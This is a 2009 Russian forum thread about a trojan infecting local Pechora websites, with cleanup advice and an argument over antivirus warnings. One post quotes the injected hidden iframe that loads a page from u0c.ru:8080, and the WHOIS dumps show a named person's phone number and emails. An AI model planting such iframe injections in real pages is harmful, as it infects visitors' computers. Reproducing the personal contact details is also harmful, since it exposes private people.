На сайте "Волны" с 19.06.09 поселился троян, работы ведутся. Это для тех, у кого нет антивируса и файервола. Будьте осторожны.

Пожалуй, наверное хост атаковали

Хост у сайтов разный, поэтому заражены не с одного хостинга. Такая волна недавно прокатилась по интернету и хостам. Сам боролся.... Помогает срочная смена пароля доступа по FTP и "Касперыч" очень хорошо чистит админские машины. В моем случае вирус поражал только файлы имеющие в своем имени "index".
Вот код, который вставлялся в файлы "index" вирусом:

Если бы админы сайтов глянули на этот код, то можно было бы сразу сказать диагноз.
При посещении зараженных сайтов вирус автоматом "просится" в компьютер пользователя. Будьте внимательны и осторожны.

Данные по хостингу Печорских "заболевших" сайтов:

Информация о домене PECHORAONLINE.RU
Доменное имя pechoraonline.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
domain: PECHORAONLINE.RU
type: CORPORATE
nserver: ns1.mchost.ru.
nserver: ns2.mchost.ru.
state: REGISTERED, DELEGATED
person: Sergei V Vasichev
phone: +7 908 7162143
fax-no: +7 908 7162143
e-mail: domains@mchost.ru
e-mail: sergey@vasichev.ru
registrar: REGTIME-REG-RIPN
created: 2007.02.16
paid-till: 2010.02.16
source: TC-RIPN

Информация о домене VOLNA-PLUS.RU
Доменное имя volna-plus.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
domain: VOLNA-PLUS.RU
type: CORPORATE
nserver: ns2.parma.ru.
nserver: srv.pokomi.ru.
state: REGISTERED, DELEGATED
org: Volna Ltd
phone: +7 82142 35690
e-mail: pechora-2000@rambler.ru
registrar: RUCENTER-REG-RIPN
created: 2008.06.20
paid-till: 2010.06.20
source: TC-RIPN

Приблизительно такую же хрень для вывода фреймов и у меня дописывало:
<iframe src="http://u0c.ru:8080/index.php" width=169 height=114 style="visibility: hidden"></iframe>

Оба сайта уже вычищены, пароли заменены. Кстати, эта гадость у меня меняла не только файлы INDEX, но и начинающиеся на MAIN...

Люди, будьте бдительны! (Юлиус Фучик).

ВНИМАНИЕ!!!
Сайт www.pechora-portal.ru - представляет угрозу вашим компьютерам!

Игорь Дементьев - прими меры!!!!!!!!!!

Нет у меня вируса и не было, а что там яндекс пишет, так это их (яндекса) проблемы.

На сайте администрации тоже все чисто!

Всё возможно, но антивирус уж как три месяца ругается и ругается:

И что особенно, ругается только на главной странице.

Это из за скриптов фрэймов, которые в нынешних версиях анти-вирусов, считаются "вредоносными" по причине "подгрузки" пользователю, что собственно и происходит в случае троянов.

Как пример:
на http://pechora-portal.ru/ - касперский 2009 ругается:
"В запрашиваемом объекте по URL-адресу:
http://pechora-portal.ru/
Обнаружена угроза:
объект заражен HEUR:Trojan.Script.Iframer" (загрузка фрэймовой структуры)

А вот другой пример:
http://www.pechora-portal.ru/ex.html?/saitnews.htm - это открывается нормально, без "ругани"

Да, точно: касперский 2009 не ругается... да и не ругался никогда.... о прогрузке скриптов это уже другая история.
Сайт как и у меня построен на фрэймовой структуре, поэтому другие антивирусы могут и ругаться...
Да и вообще, к вирусам пора привыкать, разве это зависит от администратора сайта, если заражён сервак хостера, например? В принципе, вирусы удаляются на автомате с серваков, если кто-то не поленился потратиться на проги...

Только ради интереса набрал в Яндексе (яндексом-то уже никто не пользуется: считается "mauvais ton" в нормальном интернет-сообществе)

Вот что выпало у меня:



И никаких вирусов... (одно приятно - первый в списке )

Первый в списке - замечательно - (запрос "Портал Печора")! Набери там же "Я-Печорец!" и наш сайт тоже будет первый в списке

Я и имел ввиду что ты написал